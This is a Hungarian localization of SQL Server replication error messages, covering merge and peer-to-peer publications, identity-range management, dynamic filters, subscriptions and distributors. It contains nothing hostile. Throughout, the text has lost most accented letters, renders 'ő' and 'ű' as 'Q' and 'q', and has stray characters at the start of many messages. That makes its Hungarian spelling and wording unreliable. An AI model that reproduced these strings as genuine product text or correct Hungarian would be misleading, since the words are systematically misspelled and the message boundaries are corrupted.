Nem hozhatk ltre egyestses replikcihoz tartoz trolt eljrsok a kvetkezQ cikkhez:  %1!s! . A trolt eljrsok a kzztevQn jnnek ltre, amikor lefut a pillanatkpgynk vagy egy adatdefincis nyelvi mqvelet trtnik; viszont az elQfizetQn jnnek ltre, amikor az egyestsi gynk a pillanatkpet alkalmazza. EllenQrizze, hogy az gynkk megfelelQ engedlyekkel rendelkeznek-e eljrsok ltrehozshoz, s hogy az eljrsok nem lteznek-e mr.

Nem lehet engedlyezni a kiadvnyt nem SQL Server elQfizetsek tmogatsra, mert a kiadvny frissthetQ elQfizetsekre van engedlyezve. Nem SQL Server kiadvnyok tmogatshoz el kell dobni a meglvQ kiadvnyt, s jat kell ltrehozni, amelynl az allow_sync_tran s az allow_queued_tran tulajdonsgot  false  rtkre lltja be.

HAmg elQfizetsek vannak a kiadvnyra, addig nem mdosthat az  enabled for heterogeneous subscriptions  (heterogn elQfizetsekre engedlyezve) tulajdonsg.

Nem sikerlt ellenQrizni, hogy a subset_filterclause tartalmaz-e dinamikus fggvnyt.

A(z)  %1!s!  cikket, amely egy vagy tbb dinamikus fggvnnyel rendelkezik a kvetkezQ helyen: subset_filterclause  %2!s! , nem lehet hozzadni a(z)  %3!s!  kiadvnyhoz, mert a kiadvnynak lehetnek aktv elQfizetsei. A cikk hozzadshoz lltsa a @force_reinit_subscription tulajdonsgot 1-re, inicializlja jra az sszes aktv elQfizetst.

Nem mdosthat a validate_subscriber_info rtke a(z)  %1!s!  kiadvnynl, mert a kiadvnynak aktv elQfizetsei vannak. Az rtk mdostshoz lltsa a @force_reinit_subscription tulajdonsgot 1-re, s inicializlja jra az sszes aktv elQfizetst.

$rvnytelen rtket ( %1!s! ) adtak meg a @identityrangemangementoption paramter szmra. Az rvnyes rtkek:  auto ,  manual  vagy  none .

A(z)  %1!s!  tulajdonsg nem mdosthat olyan kiadvnyoknl, amelyek engedlyezve vannak nem SQL Server elQfizetsekre.

Trskzi kiadvnyok nem tmogatjk a kvetkezQt: %1!s!. Mdostsa a kvetkezQ paramter rtkt:  %2!s! .

|Nem mdosthat a kvetkezQ tulajdonsg:  %1!s! . A kiadvny trs-trs (trskzi) topolgiban szerepel, ami nem teszi lehetQv ezen tulajdonsg mdostst a kiadvny ltrehozsa utn.

Mr ltezik egy cikk a(z)  %1!s!  tblhoz eltrQ rtkkel a @delete_tracking tulajdonsgnl. Az rtknek azonosnak kell lennie az sszes olyan kiadvny esetn, amelyekben a tbla kzz van tve. Az sp_helpmergearticle s az sp_changemergearticle trolt eljrs segtsgvel tekintse meg s mdostsa a tulajdonsgot a tbbi cikkben.

A heterogn elQfizetsekre engedlyezett kiadvnyok nem tmogatjk a kvetkezQt: %1!s!. Mdostsa a kvetkezQ paramter rtkt:  %2!s! .

tNem lehet engedlyezni az adatdefincis nyelvi (DDL) repliklst ( true  rtk a @replicate_ddl paramternl) a kvetkezQ kiadvnynl:  %1!s! . Ennek az az oka, hogy a kiadvny kompatibilitsi szintje alacsonyabb, mint 90RTM. j kiadvnyok esetn az sp_addmergepublication trolt eljrsban lltsa a @publication_compatibility_level paramtert 90RTM rtkre; meglvQ paramterek esetn hasznlja az sp_changemergepublication eljrst.

D %1!s!  kiadvny  %2!s! . Ezrt a kiadvny kompatibilitsi szintje nem llthat alacsonyabbra a kvetkezQnl: %3!s!. A kompatibilitsi szint alacsonyabbra lltshoz tiltsa le a szolgltatst, majd az sp_changemergepublication trolt eljrssal cskkentse a kompatibilitsi szintet.

 A(z)  %1!s!  kiadvnyhoz szksges metaadatok nem tallhatk a sysmergeschemachange rendszertblban. Futtassa jra a pillanatkpgynkt.

Egy dinamikuspillanatkp-ksztQ feladat esetn a dynamic_filter_login s a dynamic_filter_hostname nem lehet egyszerre NULL.

Dinamikus pillanatkpek csak egyestsi kiadvnyoknl rvnyesek.

Nem tud befejezQdni a particionltpillanatkp-folyamat. Nem lehet beolvasni a maximlis idQblyegzQ-adatokat a terjesztsi adatbzisban lvQ MSsnapshot_history tblbl. EllenQrizze, hogy rendelkezsre ll-e egy friss, szabvnyos pillanatkp.

A @subset_filterclause paramter nem hivatkozhat szmtott oszlopra.

XA @pub_identity_range paramter rtke az identitsoszlop nvekmnynek tbbszrse kell legyen. A(z)  %1!s!  tbla s a(z)  %2!s!  identitsoszlop nvekmnye: %3!s!.

PA @identity_range paramter rtke az identitsoszlop nvekmnynek tbbszrse kell legyen. A(z)  %1!s!  tbla s a(z)  %2!s!  identitsoszlop nvekmnye: %3!s!.

Az IDENT_CURRENT ( %1!s! ) rtke nagyobb, mint az MSmerge_identity_range rendszertblban lvQ max_used oszlopban lvQ rtk.

 Az jrakzztevQ kzztevQjtQl kapott jrakiadsi tartomnya nem elg nagy ahhoz, hogy kiossza a megadott @pub_identity_range tartomnyt.

Az jrakzztevQ kzztevQjtQl kapott jrakiadsi tartomnya nem elg nagy ahhoz, hogy kiossza a megadott @identity_range tartomnyt.

Az jrakzztevQ nem kapott identitsrtk-tartomnyt a(z)  %1!s!  gykrkzztevQtQl, amelyet kioszthatna az elQfizetQinek. Gondoskodjon arrl, hogy az jrakzztevQnek legyen kiszolgli elQfizetse a gykrkzztevQn a kiadvnyra, majd futtassa az egyestsi gynkt a gykrkzztevQvel val szinkronizls cljbl.

A kzztevQ identitstartomny-kiosztsi bejegyzse nem tallhat az MSmerge_identity_range rendszertblban. Gondoskodjon arrl, hogy a @identityrangemanagementoption tulajdonsg rtke  auto  legyen.

A kzztevQnek nem lehet kiosztani identitsrtkek j tartomnyt, mert az identitsoszlop adattpusnak rtkei mr mind fel vannak hasznlva. Mdostsa az adattpust az identitsoszlopban.

Az jrakzztevQ nem kapott identitsrtk-tartomnyt a gykrkzztevQtQl, amelyet kioszthatna az elQfizetQinek. Futtassa az egyestsi gynkt a gykrkzztevQvel val szinkronizls cljbl.

Nem lehet frissteni a kzztevQn az identitstartomnyt s/vagy az ellenQrzQ korltozst. EllenQrizze, hogy az identitsoszlopban lvQ rtk nem rte el az identitsoszlop adattpusnak maximumt, valamint hogy a legutbbi beszrst vgzQ felhasznlnak van-e jogosultsga az ellenQrzQ korltozs eldobsra s jbli ltrehozsra. 

Nem oszthat ki identitstartomny a kvetkezQ cikknek:  %1!s! . A cikken nincs engedlyezve az automatikus identitstartomny-kezels.

Nem ll elg tartomny rendelkezsre ahhoz, hogy az elQfizetQnek j tartomnyt lehessen kiosztani.

Nem tallhat a megadott @article vagy @artid ( %1!s! ) ltal hivatkozott objektum.

Nem lehet felvenni, eldobni vagy mdostani a kvetkezQ tbla identitstartomnynak ellenQrzQ korltozst: %1!s!. Ezt a korltozst a replikci az identitstartomnyok automatikus kezelshez hasznlja. Ez a hiba rendszerint olyankor fordul elQ, ha a tblba trtnQ legutbbi beszrst vgrehajt felhasznlnak nincs engedlye smamdostsra a tbln. Ha ez a hiba a kzztevQn trtnik, futtassa az sp_adjustpublisheridentityrange eljrst; ha pedig az elQfizetQn trtnik, futtassa az egyestsi gynkt.

Nem tallhat az elQfizetQ identitstartomny-kiosztsi bejegyzse az MSmerge_identity_range tblban. Inicializlja jra az elQfizetst.

Megadtak rtket a @host_name paramter szmra, de a kiadvnyban egy cikk sem hasznlja paramteres szqrshez a kvetkezQt: HOST_NAME().

 Megadtak rtket a @host_name paramter szmra, de a kiadvnyban egy cikk sem hasznlja paramteres szqrshez a kvetkezQt: SUSER_SNAME().

\A kiadvny nem hasznl dinamikus szqrst.

|Az identitstartomny rtkei nem lehetnek NULL rtkqek.

|Nem lehet frissteni a kzztevQ identitstartomnyt a kvetkezQ cikknl:  %1!s! . Hajtsa vgre az sp_adjustpublisheridentityrange trolt eljrst az identitstartomny frisstshez.

tNem vehetQ fel az automatikus identitstartomny-kezelsq cikk:  %1!s! . A cikk mr kzz van tve egy tranzakcis kiadvnyban, amelynl automatikus identitstartomny-kezels van.

Nem tallhat a szablyos pillanatkp-feladat a megadott kiadvnyhoz:  %1!s! .

8Az sp_adjustpublisheridentityrange trolt eljrst nem lehet vgrehajtani az aktulis adatbzison, mert az adatbzis egy jrakzztevQ vagy egy elQfizetQ. Az identitstartomnynak egy jrakzztevQn vagy elQfizetQn trtnQ belltshoz szinkronizlni kell a gykrkzztevQvel.

hNem sikerlt lekrni egy sorkteg metaadatait.

A ktegelt trls nem sikerlt a kvetkezQ csak letltsre szolgl cikken: %1!s!.

A(z) %1!s! tbln trtnQ ktegelt trlsi ksrlet a vrtnl tbb sort trlt. lltsa le s indtsa jra az egyestsi gynkt.

Nem lehet eldobni a kvetkezQ szqrQt:  %1!s! . A @filtername paramternl megadott szqrQ nem tallhat.

A(z)  %1!s!  paramter nem lehet NULL vagy res, ha ezt az eljrst egy  %2!s!  adatbzisbl futtatjk.

A(z)  %1!s!  paramternek NULL rtkqnek kell lennie, ha ezt az eljrst nem  %2!s!  adatbzisbl futtatjk.

A nyomkvetQ jogkivonat-azonost (%1!s!) nem tallhat a kvetkezQnl: kzztevQ: %2!s!; adatbzis: %3!s!; kiadvny: %4!s!. Az sp_helptracertokens trolt eljrs segtsgvel olvassa be az rvnyes nyomkvetQ jogkivonat-azonostk listjt.

Egy j identitstartomny-kiosztst ignylQ kzztevQ ellenQrzse sikertelen a kvetkezQ tbln: %1!s!. Ez az ellenQrzs mindig megtrtnik az egyestsi gynk s a pillanatkpgynk futtatsakor. Futtassa jra az egyestsi gynkt vagy a pillanatkpgynkt.

Nem lehet belltani a kzztevQ identitstartomnyt a kvetkezQ tblnl: %1!s!. EllenQrizze, hogy a cikk ltrehozsakor megfelelQ tartomnyok lettek megadva, majd futtassa jra a pillanatkpgynkt.

Az elQfizetQn az SQL Server 2005 metaadatok s esemnyindtk egyestses replikcis frisstse nem sikerlt.

A(z) %1!s! tbla ktegelt beszrsi eljrsban beillesztendQ egy vagy tbb sor jelen volt a kvetkezQben: MSmerge_tombstone; az egyestses replikci nem hasznlhatja a ktegelt beszrst. Ez ltalban olyankor trtnik, amikor sorok tkerlnek egy partcirl egy msikra. Nincs szksg felhasznli beavatkozsra, de ha ez a jelensg gyakran elQfordul, ellenQrizze, hogy optimlis-e az adatok particionlsa. A ktegelt beszrs javthatja az egyestses replikci teljestmnyt.

A(z) %1!s! tbla ktegelt beszrsi eljrsban beillesztendQ egy vagy tbb sor jelen volt a kvetkezQben: MSmerge_contents; az egyestses replikci nem hasznlhatja a ktegelt beszrst. Ez ltalban olyankor trtnik, amikor sorok tkerlnek egy partcirl egy msikra. Nincs szksg felhasznli beavatkozsra, de ha ez a jelensg gyakran elQfordul, ellenQrizze, hogy optimlis-e az adatok particionlsa. A ktegelt beszrs javthatja az egyestses replikci teljestmnyt.

A(z) %1!s! tblnl frissteni kvnt egy vagy tbb sor mdostsokat tartalmaz a(z) %2!s! oszlopban, amely egy vagy tbb szqrQben szerepel; az egyestses replikci nem hasznlhatja a ktegelt feldolgozst ezeknl a mdostsoknl. Nincs szksg felhasznli beavatkozsra, de ha ez a jelensg gyakran elQfordul, ellenQrizze, hogy optimlis-e az adatok particionlsa. A ktegelt frisstse javthatja az egyestses replikci teljestmnyt.

Az sszesen %2!s! sorbl csak %1!s! sor kerlt frisstsre a(z) %3!s! tbla ktegelt frisstsi eljrsban; a tbbi sort nem lehetett frissteni, mert trlve lettek. Nincs szksg felhasznli beavatkozsra, de ha ez a jelensg gyakran elQfordul, akkor hatrozza meg, hogy elkerlhetQk-e a frissts-trls tkzsek. A ktegelt frisstsek javthatjk a teljestmnyt.

 A kvetkezQ objektum a Microsoft ltal szlltottknt (ms_shipped) van megjellve: %1!s!. Nem vehetQ fel egyestses replikci cikkeknt.

|A(z) %1!s! cikk nem dobhat el a kvetkezQ kiadvnybl: %2!s!. Ebben a kiadvnyban ez az egyetlen olyan cikk, amely paramteres szqrQt hasznl. Ennek a cikknek az eldobsa statikuss vltoztatja a kiadvnyt, aminek kvetkeztben az sszes elQfizetQt jra kell inicializlni. A cikk eldobshoz s az sszes aktv elQfizets jrainicializlshoz 1-et adjon rtkl az sp_dropmergepublication eljrs @force_reinit_subscription paramternek.

Nem kapott rtket a @host_name paramter, mikzben a kiadvny a kvetkezQt hasznlja dinamikus szqrshez: HOST_NAME().

Nem kapott rtket a @suser_sname paramter, mikzben a kiadvny a kvetkezQt hasznlja dinamikus szqrshez: SUSER_SNAME().

A dinamikuspillanatkp-ksztQ feladat temezse nem mdosthat a terjesztQn.

A dinamikuspillanatkp-ksztQ feladat temezse nem mdosthat egy vagy tbb hiba miatt.

<A(z)  %1!s!  tblba beszrt egy vagy tbb sor partcin kvli volt, mikzben a tbla gy lett kzztve, hogy a  partition_options  rtke %2!s! volt.

A(z)  %1!s!  tbla identitsoszlopnak adattpusa tinyint (kis egsz). A tinyint nem rendelkezik elg szmmal az egyestses automatikus identitstartomny szmra. Mdostsa az identitsoszlopot, hogy nagyobb adattpusa legyen, s vegye fel az egyestsi cikket egyestses automatikus identitstartomny-kezelssel.

A program helytelen identitstartomny-kiosztst szlelt az identitstartomny-kiosztsi adatok terjesztQn trtnQ naplzsakor, a kvetkezQre vonatkozan: kzztevQ:  %1!s! ; publisher_db (kzztevQi adatbzis):  %2!s! , kiadvny:  %3!s! ; cikk:  %4!s! .

,A(z)  %1!s!  kiadvny dynamic filters (dinamikus szqrQk) tulajdonsga helytelenl lett belltva. Az sp_changemergepublication eljrssal lltsa vissza az rtket  true  rtkre, ha a kiadvny paramteres szqrQket hasznl, ellenkezQ esetben pedig lltsa  false  rtkre.

Nem lehet megszerezni a replikcis egyests felgyeleti alkalmazszrolst a kvetkezQ adatbzishoz:  %1!s! . Ennek oka lehet, hogy fut egy aktv pillanatkp, mikzben ksrlet trtnt a smamdostsra (DDL) vagy az adminisztratv folyamat mdostsra.

A replikcis egyests felgyeleti trolt eljrsa ( %1!s! ) sikertelen volt a kvetkezQ kiadvnynl:  %2!s! . Ennek oka lehet, hogy fut egy aktv pillanatkp, mikzben a felgyeleti folyamatot hvtk.

Nem sikerlt egyestses replikcira felkszteni a(z)  %2!s!  kiadvnyban lvQ kvetkezQ cikket:  %1!s! .

Nem sikerlt egyestses repliklsi esemnyindtkat ltrehozni a kvetkezQ objektumhoz:  %1!s! .

Nem sikerlt kiadvnynzeteket ltrehozni a kvetkezQ egyestses repliklsi kiadvnyhoz:  %1!s! .

<Az sp_addmergelogsettings eljrs nem tudott felvenni naplbelltsokat. Ha mr lteznek naplbelltsok ehhez az elQfizetshez, akkor az sp_changemergelogsettings eljrssal mdostsa az eljrsokat, vagy pedig az sp_dropmergelogsettings eljrssal tvoltsa el a belltsokat.

Nem lteznek naplbelltsok a kvetkezQhz: elQfizetQi kiszolgl:  %1!s! ; elQfizetQi adatbzis:  %2!s! ; webkiszolgl:  %3!s! . Az sp_addmergelogsettings eljrssal vegye fel a belltsokat.

Az sp_changemergelogsettings eljrs nem tudta frissteni a naplbelltsokat. EllenQrizze a paramterrtkeket.

Nem lteznek naplbelltsok a kvetkezQhz: elQfizetQi kiszolgl:  %1!s! ; elQfizetQi adatbzis:  %2!s! ; webkiszolgl:  %3!s! .

Az sp_dropmergelogsettings eljrs nem tudta eltvoltani a naplbelltsokat.

( %1!s!  sikertelen. rvnytelen a kvetkezQ paramter rtke:  %2!s! . Az rvnyes rtkek: @support_options [0 - 5], @log_severity [1 - 4], @log_file_size [2 000 000 - 999 000 000], @no_of_log_files [2 - 500], @upload_interval [0 - 40320], @delete_after_upload [0 - 1].

A(z)  %1!s!  szmtott oszlop csak akkor adhat hozz a kiadvnyhoz, ha mr hozzadtk a fggQ objektumt ( %2!s! ).

$Nem tallhat rvnyes parancssor a(z)  %1!s!  job_id azonostj dinamikuspillanatkp-ksztQ feladathoz, a kvetkezQ kiadvnynl:  %2!s! .

HNem lehet frissteni a dinamikus pillanatkp helyt a(z)  %1!s!  job_id azonostj dinamikuspillanatkp-ksztQ feladatnl, a kvetkezQ kiadvnyban:  %2!s! .

Nem sikerlt mdostani a dinamikus pillanatkp helyt az adott kiadvny egy vagy tbb dinamikuspillanatkp-ksztQ feladatnl.

rvnytelen rtket kapott a @subscription_type paramter. Az rvnyes rtkek:  push ,  pull ,  both ,  anonymous  vagy  all .

Nem sikerlt visszalltani a maximlis kiosztott identitsrtket a(z)  %2!s!  kiadvnyban lvQ  %1!s!  cikknl.

Nem tallhat a terjesztQn a(z)  %2!s!  kiadvnyban lvQ  %1!s!  cikk maximlis identitsrtk-kiosztsa.

A @upload_first paramtert akkor lehet  true  rtkre lltani, ha a kiadvny kompatibilitsi szintje (publication_compatibility_level)  80RTM  vagy magasabb rtkq. Az sp_changemergepublication eljrssal lltsa a publication_compatibility_level tulajdonsgot  80RTM  vagy magasabb rtkre, ha hasznlni kvnja ezt a funkcit.

Az SQL Server ezen kiadsa nem tmogatja a kiadvnyokat. A program eldobja a meglvQ kiadvnyokat.

DA(z)  %1!s!  tblban frisstett egy vagy tbb sor partcin kvli volt, mikzben a tbla gy lett kzztve, hogy a  partition_options  rtke %2!s! volt.

<A(z)  %1!s!  tblban trlt egy vagy tbb sor partcin kvli volt, mikzben a tbla gy lett kzztve, hogy a  partition_options  rtke %2!s! volt.

$A(z)  %1!s!  cikket nem lehet hozzadni a kvetkezQ kiadvnyhoz:  %2!s! . A kiadvny mr tartalmaz 256 cikket, ami az engedlyezett maximum.

A ritka oszloppal vagy oszlopkszlettel rendelkezQ  %1!s!  cikk nem vehetQ fel egyestses kiadvnyba, mert az egyestses replikci nem tmogatja a ritka oszlopokat s az oszlopkszletet.

A DDL-mqvelet nem tmogatott a kvetkezQ cikknl:  %1!s! . Ha a DDL-mqveletben lvQ oszlop engedlyezve van FILESTREAM-re vagy pedig hierarchiaazonost, geometriai, geogrfiai, 2-es dtum s idQ, dtum, idQ vagy dtum- s idQeltols tpus, a kiadvny kompatibilitsi szintje nem lehet kisebb, mint 100RTM. Az olyan DDL-mqveletek, amelyekben FILESTREAM s hierarchiaazonost oszlopok szerepelnek, a pillanatkpmdnak natvnak kell lennie. Az SQL Server kompakt elQfizetQk ltal ignyelt karakteres md nem tmogatott.

A(z)  %2!s!:%3!s!  kiadvnyban lvQ  %1!s!  cikk nem inicializlhat jra a kvetkezQ kiadvnyhoz:  %4!s! . A kiadvnyon engedlyezett a trskzi tranzakcis replikci, ami nem engedi, hogy az elQfizetsek pillanatkppel legyenek jrainicializlva. Ehelyett az elQfizetst el kell dobni, majd jbl ltre kell hozni.

Nem lehet jrainicializlni az elQfizetst. A kiadvnyon engedlyezett a trskzi tranzakcis replikci, ami nem engedi, hogy az elQfizetsek pillanatkppel legyenek jrainicializlva. Ehelyett az elQfizetst el kell dobni, majd jbl ltre kell hozni.

@Nem lehet kzztenni objektumokat a replikci adminisztratv felhasznli smjbl [%1!s!]. Ez a sma birtokolja az sszes replikcis eljrst s metaadat-tblt, de nem birtokolhat kzztett objektumokat. Hasznljon msik smt az olyan objektumoknl, amelyek kzz lesznek tve.

A trskzi (trs-trs) topolgik megkvetelik, hogy szinkronizls elQtt azonos cikkek legyenek a kiadvnyokban minden csompontnl. A(z) [%1!s!].[%2!s!].[%3!s!] kiadvnyban lvQ cikkek nem egyeznek a kvetkezQ kiadvnyban lvQ cikkekkel: [%4!s!].[%5!s!].[%6!s!].

Cikke csak egyetlen trskzi kiadvnyban szerepelhetnek. [%1!s!].[%2!s!] mr benne van a kvetkezQ trskzi kiadvnyban:  %3!s! .

A trskzi (trs-trs) topolgik megkvetelik, hogy azonos kiadvnynevek legyenek minden kzztevQn. n azzal prblkozik, hogy jbl kzztegye a(z) [%1!s!].[%2!s!] objektumot, amely mr kzz van tve a kvetkezQ trskzi kiadvnyban: [%3!s!].[%4!s!].[%5!s!].

Hiba trtnt egy trskzi tovbbtsi parancs vgrehajtsakor. Forduljon az gyfl-tmogatsi szolglathoz.

xNem tallhat trs a kvetkezQhz: %1!s!:%2!s!:%3!s!. Ha ez a hiba az sp_requestpeerresponse trolt eljrs vgrehajtsakor jelentkezik, az eljrs jbli hvsa elQtt ellenQrizze, hogy az elQfizetsek mr ltrejttek-e. Ha a hiba ms krlmnyek kztt fordul elQ, forduljon az gyfl-tmogatsi szolglathoz.

Nem ltezik a kvetkezQ trskzi kiadvny:  %1!s! . A kiadvnynevek listjnak megtekintshez futtassa az sp_helppublication eljrst.

(A trskzi (trs-trs) topolgik megkvetelik, hogy minden kzztevQn azonosak legyenek a kiadvnynevek. A(z) [%1!s!].[%2!s!].[%3!s!] kiadvny terjesztsi gynke olyan cikkeket prbl szinkronizlni, amelyek a kvetkezQ kiadvnyban szerepelnek: [%4!s!].[%5!s!].[%6!s!].

LA megadott forrsobjektumnak felhasznl ltal definilt sszestQ objektumnak kell lennie, amennyiben  aggregate schema only  tpus cikknt kerl kzzttelre.

pReplikcifigyelsi frisstQ a kvetkezQhz: %1!s!.

A megadott forrsobjektumnak szinonimnak kell lennie, ha  synonym schema only  tpus cikknt kerl kzzttelre.

TCsak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr tagjai ltal mdosthat egy olyan %1!s!, amelynek nincs definilt proxyfikkal rendelkezQ feladata.

Hiba trtnt a kvetkezQ vgrehajtsa kzben:  %1!s! .  %2!s!  hvsa sikertelen volt, hibakd:  %3!s! , visszatrsi kd:  %4!s! .

\Inaktv kiadvnyra nem lehet elQfizetni.

Nem lehet felvenni terjesztsi gynkt az elQfizetQn lekldses elQfizetsnl.

Mr ltezik ennek az elQfizetsnek a terjesztsi gynke (%1!s!).

hA kiadvnynevek mdostsa mr nem tmogatott.

A kvetkezQ adatbzis-objektum nem tehetQ kzz, mert titkostott:  %1!s! .

KzztevQ felvtelre nem hasznlhat az sp_addpublisher eljrs. Helyette az sp_adddistpublisher eljrst kell hasznlni.

Nem lehet felvenni a tvoli terjesztQt. EllenQrizze, hogy a helyi kiszolgl kzztevQknt van-e konfigurlva a terjesztQn.

Nem lehet trlni a terjesztQt, mert meg vannak adva elQfizetQk.

xA megadott szqrQeljrs mr trstva van egy tblhoz.

%2!s! utastst tartalmaz %1!s! repliklt tranzakci lett eltvoltva, %3!s! msodperc alatt (%4!s! sor/mp).

<Deaktivlt elQfizetsek.

A kiadvny  allow_push  tulajdonsga nem mdosthat  false  rtkre. A kiadvnyon vannak lekldses elQfizetsek.

A kiadvny  allow_pull  tulajdonsga nem mdosthat  false  rtkre. A kiadvnyon vannak lehvsos elQfizetsek.

A @optname paramter rtke a kvetkezQk egyike lehet:  transactional  vagy  merge .

Mr TRUE rtkre lett lltva a kvetkezQ repliklsi bellts:  %1!s! .

Mr FALSE rtkre lett lltva a kvetkezQ repliklsi bellts:  %1!s! .

SQL Server 7.0-kompatibilis ellenQrzQsszeg-mqvelet nem hajthat vgre olyan egyestsi cikken, amelynek fggQleges vagy vzszintes partcija van. SorszmellenQrzs s SQL Server 2000-kompatibilis binris ellenQrzQsszeg-mqvelet vgrehajthat ezen a cikken.

HTl sok egymst kvetQ pillanatkp-tranzakci van a terjesztsi adatbzisban. Futtassa jra a naplolvas gynkt, s tiszttsa meg a terjesztsi adatbzist.

lA replikls trlse elQtt dobja el a terjesztQt.

(Ha egy kiadvny  immediate_sync  tulajdonsgt true rtkre lltja, akkor az  independent_agent  tulajdonsgot is true rtkre kell lltani.

\Mr nem tmogatott a kvetkezQ:  %1!s! .

Az  %1!s!  trolt eljrs mr kzz van tve inkompatibilis tpusknt.

A titkosts alatt ll karakterlnc nem llhat nulla karakterbQl.

Nem lehet nvtelen elQfizets olyan kiadvnyon, amelynek nincs fggetlen gynke.

 %1!s!  repliklsi trolt eljrs nincs teleptve. jra kell teleptenie az SQL Server a replikcival.

8A replikcis sszetevQk nincsenek teleptve ezen a kiszolgln. Futtassa jra az SQL Server teleptQprogramjt, s vlassza a replikci teleptst.

Az elQfizetQn egy lekldses elQfizets bejegyzst csak akkor dobhatja el, ha a @drop_push rtke  true .

tSQL Server replikcis gynkk neve nem mdosthat.

Trolt eljrsos cikkeknl a  post_script  nem tmogatott.

Nem sikerlt az elQfizets, mert a nem SQL Server elQfizetQ ( %1!s! ) nem tmogatja a  sync tran  frisstsi mdot.

A(z)  %1!s!  kiszolgl nem dobhat el terjesztsi kzztevQknt, mert a kiszolgln vannak replikcira engedlyezett adatbzisok.

Az elQfizetQn beszrt vagy frisstett sorok nem lehetnek a cikk partcijn kvl.

|Sikeresen frisstette a kzztevQ  %1!s!  tulajdonsgt.

Az elQfizets(ek)nek egy msik %1!s! gynke is fut, vagy pedig a kiszolgl ugyanannak az gynknek egy korbbi krelmn dolgozik.

Prvnytelen munkaknyvtr:  %1!s! .

pA kiszolgl nem tmogatja a Windows-hitelestst.

4A(z)  %1!s!  cikk tartalmazza a cltulajdonost:  %2!s! . Nem SQL Server elQfizetQk megkvetelik, hogy a cikkekhez tartoz cltulajdonos NULL legyen.

`A kvetkezQ kiadvny nem ltezik:  %1!s! .

Tvoli terjesztsi kzztevQ nem engedlyezett ezen a kiszolglverzin.

,A terjesztsi kzztevQ  distributor_password  tulajdonsga nincs hasznlatban s nem tmogatott Windows NT 4.0 rendszeren fut terjesztQ esetn.

DA terjesztQ nincs teleptve.

Nem lehet figyelmen kvl hagyni a tvoli terjesztQt (teht a @ignore_remote_distributor rtke nem lehet 1), ha engedlyezi az adatbzison a kzzttelt vagy az egyestses kzzttelt.

Nem lehet trlni a terjesztQt, mert vannak olyan adatbzisok, amelyeken engedlyezett a kzzttel vagy az egyestses kzzttel.

Nem mdosthat a terjesztsi kzztevQ  distribution_db  tulajdonsga, mert a kzztevQ hasznlja az aktulis terjesztsi adatbzist.

Nem lehet eldobni a helyi terjesztsi kzztevQt, mert definilva vannak elQfizetQk.

@A(z)  %1!s!  bejelentkezsi azonost nem vehetQ fel a kiadvny-hozzfrsi listra, mert nem frhet hozz a kvetkezQ terjesztsi kiszolglhoz:  %2!s! .

@A(z)  %1!s!  bejelentkezsi azonostnak nincs hozzfrsi engedlye a(z)  %2!s!  kiadvnyra vonatkozan, mert nem szerepel a kiadvny-hozzfrsi listn.

 Csak a sysadmin (rendszergazda) rgztett kiszolgli szerepkr vagy a db_owner (adatbzis-tulajdonos) rgztett adatbzis-szerepkr tagjai hajthatjk vgre ezt a mqveletet. Krjen meg egy megfelelQ engedlyekkel rendelkezQ rendszergazdt ezen mqvelet vgrehajtsra.

Nem sikerlt az elQfizets, mert a nem SQL Server elQfizetQ ( %1!s! ) nem tmogatja az egyni trolt eljrsokat.

Nem lehet rni a vrakozsi soros frisstsq elQfizets zenet-vrlistjra. EllenQrizze, hogy fut-e a Microsoft Distributed Transaction Coordinator (MS DTC), valamint azt, hogy az elQfizets aktv-e s inicializlva van-e. Ha az elQfizets Microsoft zenet-vrlistzst hasznl, gondoskodjon arrl, hogy megfelelQ engedlyek legyenek belltva a vrlistn.

TNem rvnyes a bemeneti tulajdonsg paramtere. Az sp_changemergepublication eljrs rvnyes paramtereinek listjt az SQL Server online knyveiben tallhatja meg.

lAz elQfizetQn lvQ esemnyindt a csatolt kiszolgl kapcsolatn keresztl nem tudott vgrehajtani parancsokat a kzztevQn (az esemnyindtk a frisslQ elQfizetses elQfizetQk esetn hasznlatosak). EllenQrizze, hogy az sp_link_publication eljrssal megfelelQen konfigurltk-e csatolt kiszolglt, tovbb azt, hogy a kzztevQhz trtnQ kapcsoldsra hasznlt bejelentkezsi azonost szerepel-e a kiadvny-hozzfrsi listn.

rvnytelen rtk szerepel a(z) %2!s! szmra megadott %1!s! paramternl.

Lejrt vagy nem ltezik az elQfizets a kvetkezQ kiadvnyra:  %1!s! .

|Nvtelen elQfizetQnek nem lehet frissthetQ elQfizetse.

Mr ltezik frissthetQ elQfizets a(z)  %1!s!  kiadvnyra a kvetkezQ elQfizetQn:  %2!s! .

A nem immediate_sync kiadvnyok elQfizetseit nem lehet jrainicializlni.

Nem lehet elQfizetni, mert a nem SQL Server elQfizetQ ( %1!s! ) nem tmogatja a paramteres utastsokat.

rvnytelen cikkllapot (%1!s!) lett megadva a kvetkezQ cikk felvtelekor:  %2!s! .

A(z)  %1!s!  tbla sormrete meghaladja a 6000 bjtos replikcis korltot.

A(z)  %1!s!  tbla nem vehet rszt frissthetQ elQfizetsekben, mert kzz van tve egyestses replikcira.

lAz elQfizets nincs inicializlva vagy nem ll rendelkezsre azonnali frisstsre, mert meg van jellve jrainicializlsra. Ha vrakozsi soros feladattvtelt hasznl, futtassa a vrakozsisor-olvas gynkt az elQfizets inicializlshoz. Prblkozzon jbl az (jra)inicializls befejezQdse utn.

Ez az elQfizets nem tmogatja az automatikus jrainicializlst ( no sync  belltssal trtnt az elQfizets). Ezen elQfizets jrainicializlshoz el kell dobni, majd jra ltre kell hozni az elQfizetst.

`Az elQfizets nem lett szinkronizlva a maximlis megQrzsi idQtartamon bell, vagy pedig eldobtk a kzztevQn. Adatok fogadshoz jra kell inicializlni az elQfizetst.

LNem ltezik a megadott kiadvny.

HAz elQfizets(ek) inaktvnak van(nak) megjellve, ezrt jrainicializls szksges. A NoSync tpus elQfizetseket el kell dobni, majd jbl ltre kell hozni.

Az elQfizetQi adatbzisban nem ltezik a kvetkezQ tbla:  %1!s! .

Hinyzik vagy rvnytelen a kzztevQ RPC biztonsgi informcija. A megadshoz hasznlja az sp_link_publication eljrst.

Az  msrepl_tran_version  oszlopnak a frissthetQ elQfizetsekhez engedlyezett cikk fggQleges partcijban kell lennie; nem dobhat el.

FrissthetQ elQfizetQkn lteznie kell a kvetkezQ kiszolgli belltsnak:  Allow triggers to be fired which fire other triggers (nested triggers)  (Ms esemnyindtkat indt (begyazott) esemnyindtk indtsnak engedlyezse).

<A frissthetQ elQfizetseket engedlyezQ elQfizetQknl az elQfizetsi adatbzis  IsRecursiveTriggersEnabled  tulajdonsgnak false rtkqnek kell lennie.

